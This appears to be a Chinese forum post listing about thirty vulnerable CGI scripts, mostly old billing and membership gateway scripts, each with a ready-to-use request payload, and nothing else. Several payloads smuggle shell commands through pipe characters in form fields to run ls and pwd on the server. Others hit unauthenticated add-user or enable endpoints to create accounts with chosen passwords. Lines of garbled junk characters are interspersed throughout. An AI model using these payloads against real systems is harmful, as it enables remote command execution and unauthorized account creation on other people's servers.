Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
; R+ H2 W& P  g: h( m- Jusername=username&password=password
$ _9 P* N! R: a
/index.cgi
# k) C5 {% Q- ?% m1 Fwei=ren&gen=command

1 E" @  D5 d% ~/ J/passmaster.cgi
' Y  V" g, d* \- Z5 RAction=Add&Username=Username&Password=Password

7 z' F- C! @7 H6 V; I, A/accountcreate.cgi
9 m* R  S4 w4 O1 G9 o, v  \username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
4 r4 `  W- r& M+ W) K9 @: [# C( ?. ~user=username&pass=Password&confirm=Password
2 U5 ]4 @# H8 x) g1 `- l3 o
' w1 r) y. j+ Q+ w' v# p/ccbill-local.asp
post_values=username:password
& w7 u; l( b) A4 p! k1 k. [  e, H  Q
/count.cgi
+ A3 T$ J( _( x: X( Rpinfile=|echo;ls -la;exit|

4 s' y$ K1 F1 U) G2 ]& u9 a6 m  _/recon.cgi
/recon.cgi?search
( i4 Z: u8 P$ T+ v- _searchoption=1&searchfor=|echo;ls -al;exit|
0 Y6 J8 [0 d/ {: }( q2 @% n
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
, e1 e6 o! n  G1 F
/af.cgi
$ A6 J- M$ Z. m) A: ]( W2 X_browser_out=|echo;ls -la;exit;|
3 W& q( w7 N$ z( f' }
6 V& R- \, `$ u/modify.cgi
username=username&password=password&expire=30

( M9 j7 S  U* u3 O! e" j3 Y/openjournal.cgi
- R5 L, Q; K" }% c% I0 Y/ Oedit=1&ct=2&go=|echo;ls -al;exit|
7 y% I, Q. _) J: \& O# q& w1 |
/gx9passwd.cgi
cmd=ADD&user=username&pass=password

9 D( B" F9 w) {: \8 t% R2 d/probecontrol.cgi
# D: `+ A+ D/ k% I3 Rcommand=enable&username=username&password=password

+ ^3 V2 n& x7 W7 {: S/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
! C  U" l; W2 Q  e' {6 E" P* r
% }3 c9 H# U4 J  U( U/htadd.pl
$ H. T  ]- H- b' G2 u. Hconfigfile=|echo; ls -alt; exit

- C4 h7 ^( y# c! J/gx9passwd.cgi
$ Z( x( F7 y$ p6 O) _cmd=ADD&user=username&pass=password
0 Z$ u5 e8 T( C. G8 [
2 i, I$ Z$ k8 e! S/ {/ibill*.pl
$ d" c" }& e! J! ^4 ereqtype=add&authpwd=authpwd&username=username&password=password
9 F6 W! |3 K3 M! r: h- @! g
/cpay.cgi
1 h- i) L" \* [' icommand=add_member&username=username(EMAIL)&password=password(DES)

2 x8 d0 F# C1 K( r2 B* h/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

. C3 A& P# F0 R* \- f  F3 T. ^! U/usercontrol.cgi
command=enable&username=USER&password=PASS
& V+ p  _1 J9 @; i5 n
/globoSALErum.cgi
: Q9 l3 Q$ P# Jaction=ADD&seccode=seccode&login=username&password=password

2 W2 X1 o: S$ R( D0 {/addusr.pl
user=USER&pass=PASS&confirm=PASS
/ j( X. s" f7 D+ S' G( N
: ~% g& s! O$ i; z8 h/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

$ R2 j2 a6 ]" K/ B( M$ K/af.cgi
  b' a4 i# b( W1 `2 r/env.cgi
ADD+;echo;pwd;exit

6 l! K2 s7 Q) Z) d9 O8 |# H3 \/count.cgi
3 ]0 b! M0 z# K" J4 }pinfile=|echo;pwd;exit|

5 b2 R" w' U" c* J$ E5 ]5 D/recon.cgi
$ d, v& D: g2 s0 }0 Esearchoption=1&searchfor=|echo;ls%20-al;exit|

6 [: M3 c$ k8 e$ z# v8 j. D/add.cgi
username=username&password=password&expire=30

' r- }; i# g6 k$ j0 z8 _- C7 p==============================